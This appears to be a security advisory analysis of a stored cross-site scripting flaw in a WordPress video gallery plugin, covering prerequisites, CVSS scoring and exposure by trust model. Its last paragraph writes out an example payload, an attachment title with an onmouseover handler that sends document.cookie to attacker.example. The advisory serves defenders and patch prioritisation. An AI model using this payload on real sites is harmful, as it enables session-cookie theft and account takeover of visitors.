YouTube Showcase CVE-2026-15790

Exploitation requires an authenticated WordPress account with at minimum Author-level permissions - specifically the upload_files capability to create the malicious attachment and edit_posts/publish_posts capabilities to embed the emd_mb_meta shortcode in published content. The plugin 'Video Gallery - YouTube Gallery, Playlist & Video Grid' must be installed and active on the target site, and the emd_mb_meta shortcode with an image field reference must be present in a publicly (or victim-) accessible page. Sites where the Author role is restricted to fully trusted users, or where this specific shortcode is not used in published content, are not meaningfully exposed. Victim page-load is required for payload execution - the attacker does not need to perform any additional social engineering of victims once the payload is stored, but no execution occurs without a page visit.

The CVSS 3.1 vector (AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N, score 6.4) captures a network-accessible, low-complexity flaw requiring only Author-level authentication, with a scope change (S:C) indicating cross-context impact on visiting users' browsers. The UI:N rating assigned by Wordfence follows their standard stored-XSS methodology - the attacker does not need to actively coerce a victim once the payload is stored - though strict CVSS 3.1 guidance supports UI:R since victim page-load is a prerequisite for payload execution. No EPSS score was provided in the intelligence data, and there is no CISA KEV listing and no documented public exploit code, meaning exploitation signals are absent and risk is driven primarily by the CVSS score and scope change rather than observed threat activity. Real-world exploitability is tightly bounded by trust model: single-administrator or closed-contributor sites face negligible risk, while platforms that grant Author-level access to semi-trusted or public contributors (news aggregators, community blogs, multi-tenant CMS deployments) face meaningful exposure. In those environments the attack is straightforward to execute and persistent in effect, warranting prompt patching within the next maintenance cycle.

An attacker holding an Author-level WordPress account uploads a media file and sets its attachment title to a payload such as gallery image" onmouseover="fetch('https://attacker.example/?c='+document.cookie). The attacker then embeds the emd_mb_meta shortcode referencing that attachment into a published post or page. Any visitor whose browser subsequently renders that page executes the stored script, which can exfiltrate session cookies, perform actions on behalf of the victim (including admin actions if the victim is an administrator), or inject phishing content. No public exploit code has been identified at time of analysis, though the vulnerability is mechanically straightforward to reproduce from the disclosed source code references.